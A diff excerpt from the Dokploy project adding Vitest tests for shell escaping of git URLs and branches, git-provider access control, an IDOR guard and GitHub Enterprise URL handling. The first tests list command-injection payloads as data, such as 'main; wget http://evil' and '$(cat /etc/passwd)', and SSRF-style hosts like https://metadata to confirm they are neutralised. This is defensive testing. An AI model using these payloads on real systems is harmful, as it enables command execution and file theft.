||||
"main; wget http://evil",
|
||||
"$(cat /etc/passwd)",
|
||||
];
|
||||
|
||||
// Legit values that must survive escaping unchanged.
|
||||
const LEGIT_VALUES = [
|
||||
"main",
|
||||
"feature/login-v2",
|
||||
"release-1.2.3",
|
||||
"https://github.com/dokploy/dokploy.git",
|
||||
"https://gitlab.example.com/group/sub/project.git",
|
||||
];
|
||||
|
||||
describe("git provider shell escaping (quote)", () => {
|
||||
it("collapses every injection payload into a single literal token (no shell operators)", () => {
|
||||
for (const payload of INJECTION_PAYLOADS) {
|
||||
const parsed = parse(shellArg(payload));
|
||||
// A safely escaped value parses back to exactly the original string,
|
||||
// as ONE token. If escaping failed, parse() would emit operator
|
||||
// objects such as { op: ";" } or { op: "$(" } instead.
|
||||
expect(parsed).toEqual([payload]);
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves legitimate URLs and branch names intact", () => {
|
||||
for (const value of LEGIT_VALUES) {
|
||||
expect(parse(shellArg(value))).toEqual([value]);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloneGitRepository command (customGitUrl path)", () => {
|
||||
const buildClone = (customGitUrl: string, customGitBranch: string) =>
|
||||
cloneGitRepository({
|
||||
appName: "demo-app",
|
||||
customGitUrl,
|
||||
customGitBranch,
|
||||
customGitSSHKeyId: null,
|
||||
enableSubmodules: false,
|
||||
serverId: null,
|
||||
type: "application",
|
||||
});
|
||||
|
||||
// A malicious substring, once escaped, must survive parsing as inert literal
|
||||
// text and never as an executable command/operator. `parse()` turns command
|
||||
// substitution and control operators into { op } objects, so we assert the
|
||||
// injected marker only ever shows up inside a plain string token.
|
||||
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
|
||||
const tokens = parse(command);
|
||||
return tokens.some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
};
|
||||
|
||||
it("does not let a malicious customGitUrl inject shell operators", async () => {
|
||||
const command = await buildClone(
|
||||
"https://github.com/o/r.git$(touch /tmp/pwned)",
|
||||
"main",
|
||||
);
|
||||
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
|
||||
expect(command).toContain("git clone");
|
||||
});
|
||||
|
||||
it("does not let a malicious customGitBranch inject shell operators", async () => {
|
||||
const command = await buildClone(
|
||||
"https://github.com/o/r.git",
|
||||
"main; touch /tmp/pwned",
|
||||
);
|
||||
// The branch is a single quoted token, so its ";" contributes no extra
|
||||
// operator and `touch` never becomes a runnable statement.
|
||||
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
|
||||
expect(command).not.toContain("touch /tmp/pwned;");
|
||||
});
|
||||
});
|
||||
369
apps/dokploy/__test__/git-provider/git-provider-access.test.ts
Normal file
369
apps/dokploy/__test__/git-provider/git-provider-access.test.ts
Normal file
@ -0,0 +1,369 @@
|
||||
import {
|
||||
canEditDeployGitSource,
|
||||
getAccessibleGitProviderIds,
|
||||
} from "@dokploy/server/services/git-provider";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockDb = vi.hoisted(() => ({
|
||||
query: {
|
||||
gitProvider: {
|
||||
findMany: vi.fn(),
|
||||
findFirst: vi.fn(),
|
||||
},
|
||||
member: {
|
||||
findFirst: vi.fn(),
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
|
||||
|
||||
const mockHasValidLicense = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
||||
hasValidLicense: mockHasValidLicense,
|
||||
}));
|
||||
|
||||
const ORG_ID = "org-1";
|
||||
const USER_OWNER = "user-owner";
|
||||
const USER_ADMIN = "user-admin";
|
||||
const USER_MEMBER = "user-member";
|
||||
const USER_MEMBER_2 = "user-member-2";
|
||||
|
||||
const providerOwned = {
|
||||
gitProviderId: "gp-owned",
|
||||
userId: USER_MEMBER,
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
const providerShared = {
|
||||
gitProviderId: "gp-shared",
|
||||
userId: USER_OWNER,
|
||||
sharedWithOrganization: true,
|
||||
};
|
||||
const providerPrivate = {
|
||||
gitProviderId: "gp-private",
|
||||
userId: USER_OWNER,
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
const providerOtherMember = {
|
||||
gitProviderId: "gp-other",
|
||||
userId: USER_MEMBER_2,
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
|
||||
const allProviders = [
|
||||
providerOwned,
|
||||
providerShared,
|
||||
providerPrivate,
|
||||
providerOtherMember,
|
||||
];
|
||||
|
||||
function session(userId: string) {
|
||||
return { userId, activeOrganizationId: ORG_ID };
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockDb.query.gitProvider.findMany.mockResolvedValue(allProviders);
|
||||
mockHasValidLicense.mockResolvedValue(false);
|
||||
});
|
||||
|
||||
describe("getAccessibleGitProviderIds", () => {
|
||||
describe("owner", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "owner",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
});
|
||||
|
||||
it("returns all org providers", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_OWNER));
|
||||
expect(ids).toEqual(new Set(allProviders.map((p) => p.gitProviderId)));
|
||||
});
|
||||
|
||||
it("includes providers owned by other members", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_OWNER));
|
||||
expect(ids.has(providerOwned.gitProviderId)).toBe(true);
|
||||
expect(ids.has(providerOtherMember.gitProviderId)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("admin", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "admin",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
});
|
||||
|
||||
it("returns all org providers", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_ADMIN));
|
||||
expect(ids).toEqual(new Set(allProviders.map((p) => p.gitProviderId)));
|
||||
});
|
||||
|
||||
it("includes providers owned by other members — fixes issue #4469", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_ADMIN));
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(true);
|
||||
expect(ids.has(providerOtherMember.gitProviderId)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("member without enterprise license", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [providerPrivate.gitProviderId],
|
||||
});
|
||||
mockHasValidLicense.mockResolvedValue(false);
|
||||
});
|
||||
|
||||
it("can access their own provider", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerOwned.gitProviderId)).toBe(true);
|
||||
});
|
||||
|
||||
it("can access shared providers", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerShared.gitProviderId)).toBe(true);
|
||||
});
|
||||
|
||||
it("cannot access private providers of other users even if assigned (no license)", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
|
||||
});
|
||||
|
||||
it("cannot access providers of other members", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerOtherMember.gitProviderId)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("member with enterprise license", () => {
|
||||
beforeEach(() => {
|
||||
mockHasValidLicense.mockResolvedValue(true);
|
||||
});
|
||||
|
||||
it("can access provider explicitly assigned to them", async () => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [providerPrivate.gitProviderId],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(true);
|
||||
});
|
||||
|
||||
it("cannot access provider not assigned and not shared", async () => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
|
||||
expect(ids.has(providerOtherMember.gitProviderId)).toBe(false);
|
||||
});
|
||||
|
||||
it("can access shared provider even without explicit assignment", async () => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerShared.gitProviderId)).toBe(true);
|
||||
});
|
||||
|
||||
it("can access own provider regardless of assignments", async () => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerOwned.gitProviderId)).toBe(true);
|
||||
});
|
||||
|
||||
it("cannot access provider of other member even with license but no assignment", async () => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerOtherMember.gitProviderId)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("member with no member record", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue(null);
|
||||
mockHasValidLicense.mockResolvedValue(true);
|
||||
});
|
||||
|
||||
it("only returns own providers and shared ones", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerOwned.gitProviderId)).toBe(true);
|
||||
expect(ids.has(providerShared.gitProviderId)).toBe(true);
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("enterprise license — member assigned to a provider they do not own", () => {
|
||||
// getAccessibleGitProviderIds still returns the provider (member can connect NEW deploys)
|
||||
it("member assigned to owner's private provider can USE the provider for new deploys", async () => {
|
||||
mockHasValidLicense.mockResolvedValue(true);
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [providerPrivate.gitProviderId],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(true);
|
||||
});
|
||||
|
||||
it("member NOT assigned to owner's private provider cannot use it at all", async () => {
|
||||
mockHasValidLicense.mockResolvedValue(true);
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
|
||||
expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("empty org", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.gitProvider.findMany.mockResolvedValue([]);
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "admin",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
});
|
||||
|
||||
it("returns empty set when org has no providers", async () => {
|
||||
const ids = await getAccessibleGitProviderIds(session(USER_ADMIN));
|
||||
expect(ids.size).toBe(0);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("canEditDeployGitSource", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockHasValidLicense.mockResolvedValue(true);
|
||||
});
|
||||
|
||||
describe("owner", () => {
|
||||
it("can edit deploy using any provider", async () => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({ role: "owner" });
|
||||
const result = await canEditDeployGitSource(
|
||||
providerPrivate.gitProviderId,
|
||||
session(USER_OWNER),
|
||||
);
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("admin", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({ role: "admin" });
|
||||
});
|
||||
|
||||
it("cannot edit deploy using owner's private provider (not shared)", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_OWNER,
|
||||
sharedWithOrganization: false,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
providerPrivate.gitProviderId,
|
||||
session(USER_ADMIN),
|
||||
);
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("can edit deploy using a provider shared with the org", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_OWNER,
|
||||
sharedWithOrganization: true,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
providerShared.gitProviderId,
|
||||
session(USER_ADMIN),
|
||||
);
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it("can edit deploy using their own provider", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_ADMIN,
|
||||
sharedWithOrganization: false,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
"gp-admin-owned",
|
||||
session(USER_ADMIN),
|
||||
);
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("member", () => {
|
||||
beforeEach(() => {
|
||||
mockDb.query.member.findFirst.mockResolvedValue({ role: "member" });
|
||||
});
|
||||
|
||||
it("can edit deploy using their own provider", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_MEMBER,
|
||||
sharedWithOrganization: false,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
providerOwned.gitProviderId,
|
||||
session(USER_MEMBER),
|
||||
);
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it("can edit deploy using a provider shared with the org", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_OWNER,
|
||||
sharedWithOrganization: true,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
providerShared.gitProviderId,
|
||||
session(USER_MEMBER),
|
||||
);
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it("cannot edit deploy using owner's private provider even with enterprise license and assignment", async () => {
|
||||
// This is the key case: enterprise, provider del owner, no compartido,
|
||||
// member tiene accessedGitProviders asignado — pero NO puede cambiar la branch del deploy del owner
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_OWNER,
|
||||
sharedWithOrganization: false,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
providerPrivate.gitProviderId,
|
||||
session(USER_MEMBER),
|
||||
);
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("cannot edit deploy using another member's private provider", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue({
|
||||
userId: USER_MEMBER_2,
|
||||
sharedWithOrganization: false,
|
||||
});
|
||||
const result = await canEditDeployGitSource(
|
||||
providerOtherMember.gitProviderId,
|
||||
session(USER_MEMBER),
|
||||
);
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it("returns false if provider does not exist", async () => {
|
||||
mockDb.query.gitProvider.findFirst.mockResolvedValue(null);
|
||||
const result = await canEditDeployGitSource(
|
||||
"nonexistent-id",
|
||||
session(USER_MEMBER),
|
||||
);
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
91
apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
Normal file
91
apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
Normal file
@ -0,0 +1,91 @@
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
|
||||
// assertGitProviderAccess) runs against controlled data. Mocking the exported
|
||||
// function would NOT intercept the intra-module call, so we mock one layer down.
|
||||
const mockDb = vi.hoisted(() => ({
|
||||
query: {
|
||||
gitProvider: {
|
||||
findMany: vi.fn(),
|
||||
},
|
||||
member: {
|
||||
findFirst: vi.fn(),
|
||||
},
|
||||
},
|
||||
}));
|
||||
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
|
||||
|
||||
const mockHasValidLicense = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
||||
hasValidLicense: mockHasValidLicense,
|
||||
}));
|
||||
|
||||
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
|
||||
|
||||
const ORG = "org-1";
|
||||
const USER = "user-member";
|
||||
const session = { userId: USER, activeOrganizationId: ORG };
|
||||
|
||||
// Provider owned by USER within ORG -> should be accessible.
|
||||
const providerMine = {
|
||||
gitProviderId: "gp-mine",
|
||||
userId: USER,
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
// Provider owned by someone else within ORG, not shared, not assigned.
|
||||
const providerOther = {
|
||||
gitProviderId: "gp-other",
|
||||
userId: "user-2",
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockHasValidLicense.mockResolvedValue(false);
|
||||
mockDb.query.gitProvider.findMany.mockResolvedValue([
|
||||
providerMine,
|
||||
providerOther,
|
||||
]);
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
|
||||
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: "org-2",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-other",
|
||||
organizationId: ORG,
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("allows a same-org provider the caller owns", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: ORG,
|
||||
}),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
|
||||
const err = await assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: "org-2",
|
||||
}).catch((e) => e);
|
||||
expect(err).toBeInstanceOf(TRPCError);
|
||||
});
|
||||
});
|
||||
106
apps/dokploy/__test__/git-provider/github-clone-host.test.ts
Normal file
106
apps/dokploy/__test__/git-provider/github-clone-host.test.ts
Normal file
@ -0,0 +1,106 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// cloneGithubRepository builds a shell command; the only thing under test here
|
||||
// is which host ends up in the clone URL, so the app auth is stubbed out.
|
||||
const mockFindGithubById = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server/services/github", () => ({
|
||||
findGithubById: mockFindGithubById,
|
||||
}));
|
||||
|
||||
vi.mock("@octokit/auth-app", () => ({
|
||||
createAppAuth: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("octokit", () => ({
|
||||
Octokit: class {
|
||||
auth = async () => ({ token: "gh-token" });
|
||||
},
|
||||
}));
|
||||
|
||||
const { cloneGithubRepository } = await import(
|
||||
"@dokploy/server/utils/providers/github"
|
||||
);
|
||||
|
||||
const provider = (githubUrl: string) => ({
|
||||
githubId: "gh-1",
|
||||
githubUrl,
|
||||
githubAppId: 1,
|
||||
githubPrivateKey: "key",
|
||||
githubInstallationId: "42",
|
||||
});
|
||||
|
||||
const clone = async () => {
|
||||
const command = await cloneGithubRepository({
|
||||
appName: "my-app",
|
||||
owner: "acme",
|
||||
repository: "web",
|
||||
branch: "main",
|
||||
githubId: "gh-1",
|
||||
enableSubmodules: false,
|
||||
serverId: null,
|
||||
});
|
||||
return command.replace(/\\/g, "");
|
||||
};
|
||||
|
||||
describe("cloneGithubRepository host", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it("clones from github.com for a default provider", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider("https://github.com"));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.com/acme/web.git",
|
||||
);
|
||||
expect(command).not.toContain("ghe.com");
|
||||
});
|
||||
|
||||
it("clones from the Enterprise host, not github.com", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
|
||||
);
|
||||
expect(command).not.toContain("github.com");
|
||||
});
|
||||
|
||||
it("clones from a self-hosted Enterprise Server host", async () => {
|
||||
mockFindGithubById.mockResolvedValue(
|
||||
provider("https://github.corp.acme.com"),
|
||||
);
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps an explicit port in the clone host", async () => {
|
||||
mockFindGithubById.mockResolvedValue(
|
||||
provider("https://github.acme.com:8443"),
|
||||
);
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to github.com for a provider stored before this feature", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider(""));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.com/acme/web.git",
|
||||
);
|
||||
});
|
||||
});
|
||||
168
apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts
Normal file
168
apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts
Normal file
@ -0,0 +1,168 @@
|
||||
import {
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
DEFAULT_GITHUB_URL,
|
||||
deriveGithubApiUrl,
|
||||
normalizeGithubUrl,
|
||||
parseGithubBaseUrl,
|
||||
} from "@dokploy/server/utils/providers/github";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
|
||||
"url" in result ? result.url : null;
|
||||
|
||||
describe("normalizeGithubUrl", () => {
|
||||
it("defaults to github.com when empty", () => {
|
||||
expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
|
||||
it("assumes https when no scheme is given", () => {
|
||||
expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
|
||||
});
|
||||
|
||||
it("strips paths, queries and trailing slashes", () => {
|
||||
expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
|
||||
"https://github.acme.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps an explicit port", () => {
|
||||
expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
|
||||
"https://github.acme.com:8443",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to github.com on unusable input", () => {
|
||||
expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
|
||||
DEFAULT_GITHUB_URL,
|
||||
);
|
||||
expect(normalizeGithubUrl("http://github.internal")).toBe(
|
||||
DEFAULT_GITHUB_URL,
|
||||
);
|
||||
expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
});
|
||||
|
||||
describe("parseGithubBaseUrl", () => {
|
||||
it("accepts github.com and Enterprise hosts", () => {
|
||||
expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
// A self-hosted instance behind the corporate network is a valid target.
|
||||
expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
|
||||
"https://github.corp.acme.com",
|
||||
);
|
||||
expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
|
||||
"https://github.acme.com:8443",
|
||||
);
|
||||
});
|
||||
|
||||
it("treats an absent value as github.com", () => {
|
||||
// Not specified is different from specified wrong.
|
||||
expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
|
||||
it("rejects plaintext http", () => {
|
||||
expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("rejects dotless hostnames", () => {
|
||||
expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("rejects a dotless hostname hidden behind the DNS root label", () => {
|
||||
// "metadata." resolves like "metadata" but the trailing dot would satisfy
|
||||
// a naive `includes(".")` check.
|
||||
expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("never falls back to github.com on a typo", () => {
|
||||
// The symptom that opened the ticket: a provider silently pointing at
|
||||
// github.com and reporting that it cannot find the repositories.
|
||||
for (const typo of [
|
||||
"htps://acme.ghe.com",
|
||||
"ftp://acme.ghe.com",
|
||||
"https://",
|
||||
"acme .ghe.com",
|
||||
]) {
|
||||
const result = parseGithubBaseUrl(typo);
|
||||
expect(result, typo).toHaveProperty("error");
|
||||
expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("deriveGithubApiUrl", () => {
|
||||
it("maps github.com to api.github.com", () => {
|
||||
expect(deriveGithubApiUrl("https://github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
|
||||
});
|
||||
|
||||
it("prefixes api. for data residency tenants", () => {
|
||||
expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
|
||||
"https://api.acme.ghe.com",
|
||||
);
|
||||
expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
|
||||
"https://api.americancreditacceptance.ghe.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("uses /api/v3 for Enterprise Server", () => {
|
||||
expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
|
||||
"https://github.acme.com/api/v3",
|
||||
);
|
||||
expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
|
||||
"https://github.acme.com:8443/api/v3",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not treat a lookalike host as data residency", () => {
|
||||
// Must not match the .ghe.com branch just because the string contains it.
|
||||
expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
|
||||
"https://ghe.com.acme.io/api/v3",
|
||||
);
|
||||
});
|
||||
|
||||
it("still detects data residency behind the DNS root label", () => {
|
||||
// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
|
||||
// through to the /api/v3 branch.
|
||||
expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
|
||||
"https://api.acme.ghe.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("maps www.github.com, which a user may well type", () => {
|
||||
// Not dead weight: GitHub never redirects a manifest there, but the value
|
||||
// comes from a text field. Without this it would derive
|
||||
// https://www.github.com/api/v3.
|
||||
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("providers created before Enterprise support", () => {
|
||||
it("keeps pointing at github.com", () => {
|
||||
// The column defaults to https://github.com, but a null must not break it.
|
||||
expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
|
||||
expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
|
||||
});
|
||||
});
|
||||
143
apps/dokploy/__test__/git-provider/github-setup-handler.test.ts
Normal file
143
apps/dokploy/__test__/git-provider/github-setup-handler.test.ts
Normal file
@ -0,0 +1,143 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// The gh_init branch runs on a GET the user can be linked into, so a rejected
|
||||
// host must produce a 400 *before* any outbound request is made.
|
||||
